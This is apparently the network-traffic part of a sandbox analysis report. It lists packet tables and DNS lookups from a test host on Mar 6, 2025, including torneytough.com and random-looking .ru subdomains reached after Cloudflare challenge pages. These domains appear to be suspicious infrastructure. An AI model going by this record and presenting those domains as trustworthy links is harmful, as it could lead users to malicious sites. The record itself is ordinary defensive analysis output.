Mar 6, 2025 14:38:48.726989985 CET	49771	443	192.168.2.4	104.16.6.189
Mar 6, 2025 14:38:48.726995945 CET	443	49771	104.16.6.189	192.168.2.4
Mar 6, 2025 14:38:48.777698994 CET	49771	443	192.168.2.4	104.16.6.189
Mar 6, 2025 14:38:49.441643000 CET	443	49771	104.16.6.189	192.168.2.4
Mar 6, 2025 14:38:49.441724062 CET	443	49771	104.16.6.189	192.168.2.4
Mar 6, 2025 14:38:49.441838026 CET	49771	443	192.168.2.4	104.16.6.189
Mar 6, 2025 14:38:49.442780972 CET	49771	443	192.168.2.4	104.16.6.189
Mar 6, 2025 14:38:49.442806959 CET	443	49771	104.16.6.189	192.168.2.4
Mar 6, 2025 14:38:59.441274881 CET	49774	443	192.168.2.4	104.21.20.57
Mar 6, 2025 14:38:59.441327095 CET	443	49774	104.21.20.57	192.168.2.4
Mar 6, 2025 14:38:59.441390991 CET	49774	443	192.168.2.4	104.21.20.57
Mar 6, 2025 14:38:59.441684961 CET	49774	443	192.168.2.4	104.21.20.57
Mar 6, 2025 14:38:59.441708088 CET	443	49774	104.21.20.57	192.168.2.4
Mar 6, 2025 14:39:01.456763029 CET	443	49774	104.21.20.57	192.168.2.4
Mar 6, 2025 14:39:01.459000111 CET	49774	443	192.168.2.4	104.21.20.57
Mar 6, 2025 14:39:01.459027052 CET	443	49774	104.21.20.57	192.168.2.4
Mar 6, 2025 14:39:01.460076094 CET	443	49774	104.21.20.57	192.168.2.4
Mar 6, 2025 14:39:01.460144997 CET	49774	443	192.168.2.4	104.21.20.57
Mar 6, 2025 14:39:01.486993074 CET	49774	443	192.168.2.4	104.21.20.57
Mar 6, 2025 14:39:01.486994028 CET	49774	443	192.168.2.4	104.21.20.57
Mar 6, 2025 14:39:01.487070084 CET	49774	443	192.168.2.4	104.21.20.57
Mar 6, 2025 14:39:01.487169981 CET	443	49774	104.21.20.57	192.168.2.4
Mar 6, 2025 14:39:01.487246037 CET	49774	443	192.168.2.4	104.21.20.57
Mar 6, 2025 14:39:01.487421989 CET	49775	443	192.168.2.4	104.21.20.57
Mar 6, 2025 14:39:01.487464905 CET	443	49775	104.21.20.57	192.168.2.4
Mar 6, 2025 14:39:01.487521887 CET	49775	443	192.168.2.4	104.21.20.57
Mar 6, 2025 14:39:01.487737894 CET	49775	443	192.168.2.4	104.21.20.57
Mar 6, 2025 14:39:01.487751007 CET	443	49775	104.21.20.57	192.168.2.4
Mar 6, 2025 14:39:03.598972082 CET	443	49775	104.21.20.57	192.168.2.4
Mar 6, 2025 14:39:03.599436045 CET	49775	443	192.168.2.4	104.21.20.57
Mar 6, 2025 14:39:03.599457026 CET	443	49775	104.21.20.57	192.168.2.4
Mar 6, 2025 14:39:03.600456953 CET	443	49775	104.21.20.57	192.168.2.4
Mar 6, 2025 14:39:03.600532055 CET	49775	443	192.168.2.4	104.21.20.57
Mar 6, 2025 14:39:03.601816893 CET	49775	443	192.168.2.4	104.21.20.57
Mar 6, 2025 14:39:03.601872921 CET	443	49775	104.21.20.57	192.168.2.4
Mar 6, 2025 14:39:03.602005959 CET	49775	443	192.168.2.4	104.21.20.57
Mar 6, 2025 14:39:03.602015018 CET	443	49775	104.21.20.57	192.168.2.4
Mar 6, 2025 14:39:03.652813911 CET	49775	443	192.168.2.4	104.21.20.57
Mar 6, 2025 14:39:04.961685896 CET	443	49775	104.21.20.57	192.168.2.4
Mar 6, 2025 14:39:04.961848021 CET	443	49775	104.21.20.57	192.168.2.4
Mar 6, 2025 14:39:04.962692976 CET	49775	443	192.168.2.4	104.21.20.57
Mar 6, 2025 14:39:04.962692976 CET	49775	443	192.168.2.4	104.21.20.57
Mar 6, 2025 14:39:05.047143936 CET	49777	443	192.168.2.4	172.67.191.206
Mar 6, 2025 14:39:05.047198057 CET	443	49777	172.67.191.206	192.168.2.4
Mar 6, 2025 14:39:05.047271013 CET	49777	443	192.168.2.4	172.67.191.206
Mar 6, 2025 14:39:05.047523022 CET	49777	443	192.168.2.4	172.67.191.206
Mar 6, 2025 14:39:05.047544956 CET	443	49777	172.67.191.206	192.168.2.4
Mar 6, 2025 14:39:05.277343988 CET	49775	443	192.168.2.4	104.21.20.57
Mar 6, 2025 14:39:05.277371883 CET	443	49775	104.21.20.57	192.168.2.4
Mar 6, 2025 14:39:06.854891062 CET	443	49777	172.67.191.206	192.168.2.4
Mar 6, 2025 14:39:06.855175972 CET	49777	443	192.168.2.4	172.67.191.206
Mar 6, 2025 14:39:06.855190039 CET	443	49777	172.67.191.206	192.168.2.4
Mar 6, 2025 14:39:06.856642008 CET	443	49777	172.67.191.206	192.168.2.4
Mar 6, 2025 14:39:06.856700897 CET	49777	443	192.168.2.4	172.67.191.206
Mar 6, 2025 14:39:06.857000113 CET	49777	443	192.168.2.4	172.67.191.206
Mar 6, 2025 14:39:06.857022047 CET	49777	443	192.168.2.4	172.67.191.206
Mar 6, 2025 14:39:06.857074976 CET	49777	443	192.168.2.4	172.67.191.206
Mar 6, 2025 14:39:06.857100010 CET	443	49777	172.67.191.206	192.168.2.4
Mar 6, 2025 14:39:06.857150078 CET	49777	443	192.168.2.4	172.67.191.206
Mar 6, 2025 14:39:06.857426882 CET	49778	443	192.168.2.4	172.67.191.206
Mar 6, 2025 14:39:06.857479095 CET	443	49778	172.67.191.206	192.168.2.4
Mar 6, 2025 14:39:06.857544899 CET	49778	443	192.168.2.4	172.67.191.206
Mar 6, 2025 14:39:06.857764006 CET	49778	443	192.168.2.4	172.67.191.206
Mar 6, 2025 14:39:06.857774973 CET	443	49778	172.67.191.206	192.168.2.4
Mar 6, 2025 14:39:08.629386902 CET	443	49778	172.67.191.206	192.168.2.4
Mar 6, 2025 14:39:08.639619112 CET	49778	443	192.168.2.4	172.67.191.206
Mar 6, 2025 14:39:08.639647961 CET	443	49778	172.67.191.206	192.168.2.4
Mar 6, 2025 14:39:08.641094923 CET	443	49778	172.67.191.206	192.168.2.4
Mar 6, 2025 14:39:08.641159058 CET	49778	443	192.168.2.4	172.67.191.206
Mar 6, 2025 14:39:08.655589104 CET	49778	443	192.168.2.4	172.67.191.206
Mar 6, 2025 14:39:08.655646086 CET	49778	443	192.168.2.4	172.67.191.206
Mar 6, 2025 14:39:08.655757904 CET	443	49778	172.67.191.206	192.168.2.4
Mar 6, 2025 14:39:08.698450089 CET	49778	443	192.168.2.4	172.67.191.206
Mar 6, 2025 14:39:08.698477030 CET	443	49778	172.67.191.206	192.168.2.4
Mar 6, 2025 14:39:08.745323896 CET	49778	443	192.168.2.4	172.67.191.206
Mar 6, 2025 14:39:09.866866112 CET	443	49778	172.67.191.206	192.168.2.4
Mar 6, 2025 14:39:09.866960049 CET	443	49778	172.67.191.206	192.168.2.4
Mar 6, 2025 14:39:09.867120028 CET	49778	443	192.168.2.4	172.67.191.206
Mar 6, 2025 14:39:09.868089914 CET	49778	443	192.168.2.4	172.67.191.206
Mar 6, 2025 14:39:09.868110895 CET	443	49778	172.67.191.206	192.168.2.4
Mar 6, 2025 14:39:12.192255974 CET	49542	53	192.168.2.4	1.1.1.1
Mar 6, 2025 14:39:12.197249889 CET	53	49542	1.1.1.1	192.168.2.4
Mar 6, 2025 14:39:12.197329998 CET	49542	53	192.168.2.4	1.1.1.1
Mar 6, 2025 14:39:12.197365999 CET	49542	53	192.168.2.4	1.1.1.1
Mar 6, 2025 14:39:12.202970028 CET	53	49542	1.1.1.1	192.168.2.4
Mar 6, 2025 14:39:12.660165071 CET	53	49542	1.1.1.1	192.168.2.4
Mar 6, 2025 14:39:12.684012890 CET	49542	53	192.168.2.4	1.1.1.1
Mar 6, 2025 14:39:12.690886021 CET	53	49542	1.1.1.1	192.168.2.4
Mar 6, 2025 14:39:12.690958023 CET	49542	53	192.168.2.4	1.1.1.1
Mar 6, 2025 14:39:17.254578114 CET	52059	53	192.168.2.4	1.1.1.1
Mar 6, 2025 14:39:17.260467052 CET	53	52059	1.1.1.1	192.168.2.4
Mar 6, 2025 14:39:17.260564089 CET	52059	53	192.168.2.4	1.1.1.1
Mar 6, 2025 14:39:17.260565042 CET	52059	53	192.168.2.4	1.1.1.1
Mar 6, 2025 14:39:17.266838074 CET	53	52059	1.1.1.1	192.168.2.4
Mar 6, 2025 14:39:17.740242004 CET	53	52059	1.1.1.1	192.168.2.4
Mar 6, 2025 14:39:17.740531921 CET	52059	53	192.168.2.4	1.1.1.1
Mar 6, 2025 14:39:17.747193098 CET	53	52059	1.1.1.1	192.168.2.4
Mar 6, 2025 14:39:17.747241020 CET	52059	53	192.168.2.4	1.1.1.1
Mar 6, 2025 14:39:18.460187912 CET	52061	443	192.168.2.4	104.21.14.2
Mar 6, 2025 14:39:18.460241079 CET	443	52061	104.21.14.2	192.168.2.4
Mar 6, 2025 14:39:18.460350037 CET	52061	443	192.168.2.4	104.21.14.2
Mar 6, 2025 14:39:18.460655928 CET	52061	443	192.168.2.4	104.21.14.2
Mar 6, 2025 14:39:18.460669994 CET	443	52061	104.21.14.2	192.168.2.4
Mar 6, 2025 14:39:21.235622883 CET	443	52061	104.21.14.2	192.168.2.4
Mar 6, 2025 14:39:21.235994101 CET	52061	443	192.168.2.4	104.21.14.2
Mar 6, 2025 14:39:21.236013889 CET	443	52061	104.21.14.2	192.168.2.4
Mar 6, 2025 14:39:21.237060070 CET	443	52061	104.21.14.2	192.168.2.4
Mar 6, 2025 14:39:21.237131119 CET	52061	443	192.168.2.4	104.21.14.2
Mar 6, 2025 14:39:21.237478971 CET	52061	443	192.168.2.4	104.21.14.2
Mar 6, 2025 14:39:21.237478971 CET	52061	443	192.168.2.4	104.21.14.2
Mar 6, 2025 14:39:21.237544060 CET	52061	443	192.168.2.4	104.21.14.2
Mar 6, 2025 14:39:21.237559080 CET	443	52061	104.21.14.2	192.168.2.4
Mar 6, 2025 14:39:21.237651110 CET	52061	443	192.168.2.4	104.21.14.2
Mar 6, 2025 14:39:21.237955093 CET	52067	443	192.168.2.4	104.21.14.2
Mar 6, 2025 14:39:21.238003016 CET	443	52067	104.21.14.2	192.168.2.4
Mar 6, 2025 14:39:21.238207102 CET	52067	443	192.168.2.4	104.21.14.2
Mar 6, 2025 14:39:21.238430023 CET	52067	443	192.168.2.4	104.21.14.2
Mar 6, 2025 14:39:21.238445997 CET	443	52067	104.21.14.2	192.168.2.4
Mar 6, 2025 14:39:23.007664919 CET	443	52067	104.21.14.2	192.168.2.4
Mar 6, 2025 14:39:23.007925987 CET	52067	443	192.168.2.4	104.21.14.2
Mar 6, 2025 14:39:23.007972956 CET	443	52067	104.21.14.2	192.168.2.4
Mar 6, 2025 14:39:23.008335114 CET	443	52067	104.21.14.2	192.168.2.4
Mar 6, 2025 14:39:23.008615971 CET	52067	443	192.168.2.4	104.21.14.2
Mar 6, 2025 14:39:23.008687019 CET	443	52067	104.21.14.2	192.168.2.4
Mar 6, 2025 14:39:23.060909986 CET	52067	443	192.168.2.4	104.21.14.2
Mar 6, 2025 14:39:23.541384935 CET	49724	80	192.168.2.4	88.221.110.91
Mar 6, 2025 14:39:23.546853065 CET	80	49724	88.221.110.91	192.168.2.4
Mar 6, 2025 14:39:23.546941042 CET	49724	80	192.168.2.4	88.221.110.91
Mar 6, 2025 14:39:32.548871040 CET	52090	443	192.168.2.4	142.250.185.164
Mar 6, 2025 14:39:32.548908949 CET	443	52090	142.250.185.164	192.168.2.4
Mar 6, 2025 14:39:32.549196959 CET	52090	443	192.168.2.4	142.250.185.164
Mar 6, 2025 14:39:32.549196959 CET	52090	443	192.168.2.4	142.250.185.164
Mar 6, 2025 14:39:32.549232960 CET	443	52090	142.250.185.164	192.168.2.4
Mar 6, 2025 14:39:33.385848999 CET	443	52067	104.21.14.2	192.168.2.4
Mar 6, 2025 14:39:33.385915995 CET	443	52067	104.21.14.2	192.168.2.4
Mar 6, 2025 14:39:33.386001110 CET	52067	443	192.168.2.4	104.21.14.2
Mar 6, 2025 14:39:34.549166918 CET	52067	443	192.168.2.4	104.21.14.2
Mar 6, 2025 14:39:34.549220085 CET	443	52067	104.21.14.2	192.168.2.4
Mar 6, 2025 14:39:34.716937065 CET	443	52090	142.250.185.164	192.168.2.4
Mar 6, 2025 14:39:34.717298031 CET	52090	443	192.168.2.4	142.250.185.164
Mar 6, 2025 14:39:34.717317104 CET	443	52090	142.250.185.164	192.168.2.4
Mar 6, 2025 14:39:34.717654943 CET	443	52090	142.250.185.164	192.168.2.4
Mar 6, 2025 14:39:34.718067884 CET	52090	443	192.168.2.4	142.250.185.164
Mar 6, 2025 14:39:34.718133926 CET	443	52090	142.250.185.164	192.168.2.4
Mar 6, 2025 14:39:34.760165930 CET	52090	443	192.168.2.4	142.250.185.164
Mar 6, 2025 14:39:44.170448065 CET	443	52090	142.250.185.164	192.168.2.4
Mar 6, 2025 14:39:44.170629978 CET	443	52090	142.250.185.164	192.168.2.4
Mar 6, 2025 14:39:44.170686960 CET	52090	443	192.168.2.4	142.250.185.164
Mar 6, 2025 14:39:44.544322968 CET	52090	443	192.168.2.4	142.250.185.164
Mar 6, 2025 14:39:44.544342041 CET	443	52090	142.250.185.164	192.168.2.4
Mar 6, 2025 14:40:32.606874943 CET	52196	443	192.168.2.4	142.250.185.164
Mar 6, 2025 14:40:32.606921911 CET	443	52196	142.250.185.164	192.168.2.4
Mar 6, 2025 14:40:32.607021093 CET	52196	443	192.168.2.4	142.250.185.164
Mar 6, 2025 14:40:32.607353926 CET	52196	443	192.168.2.4	142.250.185.164
Mar 6, 2025 14:40:32.607371092 CET	443	52196	142.250.185.164	192.168.2.4
Mar 6, 2025 14:40:34.549710989 CET	443	52196	142.250.185.164	192.168.2.4
Mar 6, 2025 14:40:34.550057888 CET	52196	443	192.168.2.4	142.250.185.164
Mar 6, 2025 14:40:34.550092936 CET	443	52196	142.250.185.164	192.168.2.4
Mar 6, 2025 14:40:34.551254034 CET	443	52196	142.250.185.164	192.168.2.4
Mar 6, 2025 14:40:34.551527023 CET	52196	443	192.168.2.4	142.250.185.164
Mar 6, 2025 14:40:34.551708937 CET	443	52196	142.250.185.164	192.168.2.4
Mar 6, 2025 14:40:34.604659081 CET	52196	443	192.168.2.4	142.250.185.164
Mar 6, 2025 14:40:44.162508011 CET	443	52196	142.250.185.164	192.168.2.4
Mar 6, 2025 14:40:44.162594080 CET	443	52196	142.250.185.164	192.168.2.4
Mar 6, 2025 14:40:44.162879944 CET	52196	443	192.168.2.4	142.250.185.164
Mar 6, 2025 14:40:44.547837019 CET	52196	443	192.168.2.4	142.250.185.164
Mar 6, 2025 14:40:44.547878981 CET	443	52196	142.250.185.164	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 6, 2025 14:38:28.328988075 CET	53	50878	1.1.1.1	192.168.2.4
Mar 6, 2025 14:38:28.338288069 CET	52871	53	192.168.2.4	1.1.1.1
Mar 6, 2025 14:38:28.338563919 CET	62676	53	192.168.2.4	1.1.1.1
Mar 6, 2025 14:38:28.350231886 CET	53	63797	1.1.1.1	192.168.2.4
Mar 6, 2025 14:38:28.360516071 CET	53	52871	1.1.1.1	192.168.2.4
Mar 6, 2025 14:38:28.360784054 CET	53	62676	1.1.1.1	192.168.2.4
Mar 6, 2025 14:38:30.673681974 CET	58720	53	192.168.2.4	1.1.1.1
Mar 6, 2025 14:38:30.673841000 CET	51935	53	192.168.2.4	1.1.1.1
Mar 6, 2025 14:38:30.678122997 CET	50906	53	192.168.2.4	1.1.1.1
Mar 6, 2025 14:38:30.678272963 CET	63877	53	192.168.2.4	1.1.1.1
Mar 6, 2025 14:38:30.680991888 CET	53	51935	1.1.1.1	192.168.2.4
Mar 6, 2025 14:38:30.681643963 CET	53	58720	1.1.1.1	192.168.2.4
Mar 6, 2025 14:38:30.690547943 CET	53	50906	1.1.1.1	192.168.2.4
Mar 6, 2025 14:38:30.729089022 CET	53	63877	1.1.1.1	192.168.2.4
Mar 6, 2025 14:38:31.103849888 CET	53	61059	1.1.1.1	192.168.2.4
Mar 6, 2025 14:38:32.498706102 CET	65118	53	192.168.2.4	1.1.1.1
Mar 6, 2025 14:38:32.498872042 CET	61559	53	192.168.2.4	1.1.1.1
Mar 6, 2025 14:38:32.505722046 CET	53	65118	1.1.1.1	192.168.2.4
Mar 6, 2025 14:38:32.505959988 CET	53	61559	1.1.1.1	192.168.2.4
Mar 6, 2025 14:38:33.252983093 CET	58695	53	192.168.2.4	1.1.1.1
Mar 6, 2025 14:38:33.253128052 CET	56270	53	192.168.2.4	1.1.1.1
Mar 6, 2025 14:38:33.260426044 CET	53	58695	1.1.1.1	192.168.2.4
Mar 6, 2025 14:38:33.260684967 CET	53	56270	1.1.1.1	192.168.2.4
Mar 6, 2025 14:38:33.336276054 CET	58723	53	192.168.2.4	1.1.1.1
Mar 6, 2025 14:38:33.336424112 CET	52658	53	192.168.2.4	1.1.1.1
Mar 6, 2025 14:38:33.349946976 CET	53	52658	1.1.1.1	192.168.2.4
Mar 6, 2025 14:38:33.384630919 CET	53	58723	1.1.1.1	192.168.2.4
Mar 6, 2025 14:38:35.113403082 CET	138	138	192.168.2.4	192.168.2.255
Mar 6, 2025 14:38:39.314295053 CET	60224	53	192.168.2.4	1.1.1.1
Mar 6, 2025 14:38:39.315049887 CET	57993	53	192.168.2.4	1.1.1.1
Mar 6, 2025 14:38:39.317295074 CET	62662	53	192.168.2.4	1.1.1.1
Mar 6, 2025 14:38:39.317473888 CET	56985	53	192.168.2.4	1.1.1.1
Mar 6, 2025 14:38:39.319680929 CET	63838	53	192.168.2.4	1.1.1.1
Mar 6, 2025 14:38:39.320251942 CET	60411	53	192.168.2.4	1.1.1.1
Mar 6, 2025 14:38:39.322089911 CET	53	57993	1.1.1.1	192.168.2.4
Mar 6, 2025 14:38:39.322763920 CET	53	60224	1.1.1.1	192.168.2.4
Mar 6, 2025 14:38:39.324289083 CET	53	62662	1.1.1.1	192.168.2.4
Mar 6, 2025 14:38:39.325109959 CET	53	56985	1.1.1.1	192.168.2.4
Mar 6, 2025 14:38:39.327104092 CET	53	63838	1.1.1.1	192.168.2.4
Mar 6, 2025 14:38:39.328671932 CET	53	60411	1.1.1.1	192.168.2.4
Mar 6, 2025 14:38:40.645819902 CET	53	50256	1.1.1.1	192.168.2.4
Mar 6, 2025 14:38:42.308083057 CET	55194	53	192.168.2.4	1.1.1.1
Mar 6, 2025 14:38:42.308274031 CET	60201	53	192.168.2.4	1.1.1.1
Mar 6, 2025 14:38:42.315824032 CET	53	60201	1.1.1.1	192.168.2.4
Mar 6, 2025 14:38:42.316581964 CET	53	55194	1.1.1.1	192.168.2.4
Mar 6, 2025 14:38:44.316112041 CET	49396	53	192.168.2.4	1.1.1.1
Mar 6, 2025 14:38:44.316401958 CET	51112	53	192.168.2.4	1.1.1.1
Mar 6, 2025 14:38:44.323462009 CET	53	51112	1.1.1.1	192.168.2.4
Mar 6, 2025 14:38:44.323868990 CET	53	49396	1.1.1.1	192.168.2.4
Mar 6, 2025 14:38:44.359988928 CET	58667	53	192.168.2.4	1.1.1.1
Mar 6, 2025 14:38:44.360136986 CET	51875	53	192.168.2.4	1.1.1.1
Mar 6, 2025 14:38:44.367307901 CET	53	58667	1.1.1.1	192.168.2.4
Mar 6, 2025 14:38:44.367544889 CET	53	51875	1.1.1.1	192.168.2.4
Mar 6, 2025 14:38:46.889547110 CET	65244	53	192.168.2.4	1.1.1.1
Mar 6, 2025 14:38:46.889683962 CET	51064	53	192.168.2.4	1.1.1.1
Mar 6, 2025 14:38:46.897861004 CET	53	65244	1.1.1.1	192.168.2.4
Mar 6, 2025 14:38:46.899780989 CET	53	51064	1.1.1.1	192.168.2.4
Mar 6, 2025 14:38:48.124556065 CET	53	62686	1.1.1.1	192.168.2.4
Mar 6, 2025 14:38:59.342222929 CET	49893	53	192.168.2.4	1.1.1.1
Mar 6, 2025 14:38:59.342535973 CET	56277	53	192.168.2.4	1.1.1.1
Mar 6, 2025 14:38:59.359580994 CET	53	56277	1.1.1.1	192.168.2.4
Mar 6, 2025 14:38:59.440789938 CET	53	49893	1.1.1.1	192.168.2.4
Mar 6, 2025 14:39:04.968625069 CET	56011	53	192.168.2.4	1.1.1.1
Mar 6, 2025 14:39:04.968777895 CET	53676	53	192.168.2.4	1.1.1.1
Mar 6, 2025 14:39:04.974144936 CET	53	53996	1.1.1.1	192.168.2.4
Mar 6, 2025 14:39:05.020493031 CET	53	53676	1.1.1.1	192.168.2.4
Mar 6, 2025 14:39:05.046710014 CET	53	56011	1.1.1.1	192.168.2.4
Mar 6, 2025 14:39:07.161468983 CET	53	61936	1.1.1.1	192.168.2.4
Mar 6, 2025 14:39:12.191687107 CET	53	54689	1.1.1.1	192.168.2.4
Mar 6, 2025 14:39:17.254137039 CET	53	58561	1.1.1.1	192.168.2.4
Mar 6, 2025 14:39:27.775034904 CET	53	63603	1.1.1.1	192.168.2.4

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Mar 6, 2025 14:38:30.729213953 CET	192.168.2.4	1.1.1.1	c229	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 6, 2025 14:38:28.338288069 CET	192.168.2.4	1.1.1.1	0xba6a	Standard query (0)	torneytough.com	A (IP address)	IN (0x0001)	false
Mar 6, 2025 14:38:28.338563919 CET	192.168.2.4	1.1.1.1	0xd2c4	Standard query (0)	torneytough.com	65	IN (0x0001)	false
Mar 6, 2025 14:38:30.673681974 CET	192.168.2.4	1.1.1.1	0x2688	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Mar 6, 2025 14:38:30.673841000 CET	192.168.2.4	1.1.1.1	0xcc7e	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Mar 6, 2025 14:38:30.678122997 CET	192.168.2.4	1.1.1.1	0xc6ea	Standard query (0)	torneytough.com	A (IP address)	IN (0x0001)	false
Mar 6, 2025 14:38:30.678272963 CET	192.168.2.4	1.1.1.1	0x5ee	Standard query (0)	torneytough.com	65	IN (0x0001)	false
Mar 6, 2025 14:38:32.498706102 CET	192.168.2.4	1.1.1.1	0x5217	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Mar 6, 2025 14:38:32.498872042 CET	192.168.2.4	1.1.1.1	0x72e2	Standard query (0)	www.google.com	65	IN (0x0001)	false
Mar 6, 2025 14:38:33.252983093 CET	192.168.2.4	1.1.1.1	0xca3b	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Mar 6, 2025 14:38:33.253128052 CET	192.168.2.4	1.1.1.1	0xc9a6	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Mar 6, 2025 14:38:33.336276054 CET	192.168.2.4	1.1.1.1	0x9da4	Standard query (0)	xx3j.t23ngbco3.ru	A (IP address)	IN (0x0001)	false
Mar 6, 2025 14:38:33.336424112 CET	192.168.2.4	1.1.1.1	0x5c10	Standard query (0)	xx3j.t23ngbco3.ru	65	IN (0x0001)	false
Mar 6, 2025 14:38:39.314295053 CET	192.168.2.4	1.1.1.1	0x790e	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Mar 6, 2025 14:38:39.315049887 CET	192.168.2.4	1.1.1.1	0xdca1	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Mar 6, 2025 14:38:39.317295074 CET	192.168.2.4	1.1.1.1	0xd59c	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Mar 6, 2025 14:38:39.317473888 CET	192.168.2.4	1.1.1.1	0xb969	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Mar 6, 2025 14:38:39.319680929 CET	192.168.2.4	1.1.1.1	0xdb8a	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Mar 6, 2025 14:38:39.320251942 CET	192.168.2.4	1.1.1.1	0xdbd3	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Mar 6, 2025 14:38:42.308083057 CET	192.168.2.4	1.1.1.1	0x66a9	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Mar 6, 2025 14:38:42.308274031 CET	192.168.2.4	1.1.1.1	0x5442	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Mar 6, 2025 14:38:44.316112041 CET	192.168.2.4	1.1.1.1	0x86fc	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Mar 6, 2025 14:38:44.316401958 CET	192.168.2.4	1.1.1.1	0x1032	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Mar 6, 2025 14:38:44.359988928 CET	192.168.2.4	1.1.1.1	0x98e2	Standard query (0)	developers.cloudflare.com	A (IP address)	IN (0x0001)	false
Mar 6, 2025 14:38:44.360136986 CET	192.168.2.4	1.1.1.1	0x5043	Standard query (0)	developers.cloudflare.com	65	IN (0x0001)	false
Mar 6, 2025 14:38:46.889547110 CET	192.168.2.4	1.1.1.1	0xf5d9	Standard query (0)	developers.cloudflare.com	A (IP address)	IN (0x0001)	false
Mar 6, 2025 14:38:46.889683962 CET	192.168.2.4	1.1.1.1	0xa18b	Standard query (0)	developers.cloudflare.com	65	IN (0x0001)	false
Mar 6, 2025 14:38:59.342222929 CET	192.168.2.4	1.1.1.1	0x4865	Standard query (0)	v3mm.biijvi.ru	A (IP address)	IN (0x0001)	false
Mar 6, 2025 14:38:59.342535973 CET	192.168.2.4	1.1.1.1	0x74eb	Standard query (0)	v3mm.biijvi.ru	65	IN (0x0001)	false
Mar 6, 2025 14:39:04.968625069 CET	192.168.2.4	1.1.1.1	0x3b12	Standard query (0)	v3mm.biijvi.ru	A (IP address)	IN (0x0001)	false
Mar 6, 2025 14:39:04.968777895 CET	192.168.2.4	1.1.1.1	0x403b	Standard query (0)	v3mm.biijvi.ru	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Mar 6, 2025 14:38:28.360516071 CET	1.1.1.1	192.168.2.4	0xba6a	No error (0)	torneytough.com	104.168.69.110	A (IP address)	IN (0x0001)	false
Mar 6, 2025 14:38:30.680991888 CET	1.1.1.1	192.168.2.4	0xcc7e	No error (0)	cdnjs.cloudflare.com		65	IN (0x0001)	false
Mar 6, 2025 14:38:30.681643963 CET	1.1.1.1	192.168.2.4	0x2688	No error (0)	cdnjs.cloudflare.com	104.17.25.14	A (IP address)	IN (0x0001)	false
Mar 6, 2025 14:38:30.681643963 CET	1.1.1.1	192.168.2.4	0x2688	No error (0)	cdnjs.cloudflare.com	104.17.24.14	A (IP address)	IN (0x0001)	false
Mar 6, 2025 14:38:30.690547943 CET	1.1.1.1	192.168.2.4	0xc6ea	No error (0)	torneytough.com	104.168.69.110	A (IP address)	IN (0x0001)	false
Mar 6, 2025 14:38:32.505722046 CET	1.1.1.1	192.168.2.4	0x5217	No error (0)	www.google.com	142.250.185.164	A (IP address)	IN (0x0001)	false
Mar 6, 2025 14:38:32.505959988 CET	1.1.1.1	192.168.2.4	0x72e2	No error (0)	www.google.com		65	IN (0x0001)	false
Mar 6, 2025 14:38:33.260426044 CET	1.1.1.1	192.168.2.4	0xca3b	No error (0)	cdnjs.cloudflare.com	104.17.25.14	A (IP address)	IN (0x0001)	false
Mar 6, 2025 14:38:33.260426044 CET	1.1.1.1	192.168.2.4	0xca3b	No error (0)	cdnjs.cloudflare.com	104.17.24.14	A (IP address)	IN (0x0001)	false
Mar 6, 2025 14:38:33.260684967 CET	1.1.1.1	192.168.2.4	0xc9a6	No error (0)	cdnjs.cloudflare.com		65	IN (0x0001)	false
Mar 6, 2025 14:38:33.349946976 CET	1.1.1.1	192.168.2.4	0x5c10	No error (0)	xx3j.t23ngbco3.ru		65	IN (0x0001)	false
Mar 6, 2025 14:38:33.384630919 CET	1.1.1.1	192.168.2.4	0x9da4	No error (0)	xx3j.t23ngbco3.ru	104.21.14.2	A (IP address)	IN (0x0001)	false
Mar 6, 2025 14:38:33.384630919 CET	1.1.1.1	192.168.2.4	0x9da4	No error (0)	xx3j.t23ngbco3.ru	172.67.133.148	A (IP address)	IN (0x0001)	false
Mar 6, 2025 14:38:39.322763920 CET	1.1.1.1	192.168.2.4	0x790e	No error (0)	code.jquery.com	151.101.66.137	A (IP address)	IN (0x0001)	false
Mar 6, 2025 14:38:39.322763920 CET	1.1.1.1	192.168.2.4	0x790e	No error (0)	code.jquery.com	151.101.130.137	A (IP address)	IN (0x0001)	false
Mar 6, 2025 14:38:39.322763920 CET	1.1.1.1	192.168.2.4	0x790e	No error (0)	code.jquery.com	151.101.2.137	A (IP address)	IN (0x0001)	false
Mar 6, 2025 14:38:39.322763920 CET	1.1.1.1	192.168.2.4	0x790e	No error (0)	code.jquery.com	151.101.194.137	A (IP address)	IN (0x0001)	false
Mar 6, 2025 14:38:39.324289083 CET	1.1.1.1	192.168.2.4	0xd59c	No error (0)	challenges.cloudflare.com	104.18.94.41	A (IP address)	IN (0x0001)	false
Mar 6, 2025 14:38:39.324289083 CET	1.1.1.1	192.168.2.4	0xd59c	No error (0)	challenges.cloudflare.com	104.18.95.41	A (IP address)	IN (0x0001)	false
Mar 6, 2025 14:38:39.325109959 CET	1.1.1.1	192.168.2.4	0xb969	No error (0)	challenges.cloudflare.com		65	IN (0x0001)	false
Mar 6, 2025 14:38:39.327104092 CET	1.1.1.1	192.168.2.4	0xdb8a	No error (0)	cdnjs.cloudflare.com	104.17.24.14	A (IP address)	IN (0x0001)	false
Mar 6, 2025 14:38:39.327104092 CET	1.1.1.1	192.168.2.4	0xdb8a	No error (0)	cdnjs.cloudflare.com	104.17.25.14	A (IP address)	IN (0x0001)	false
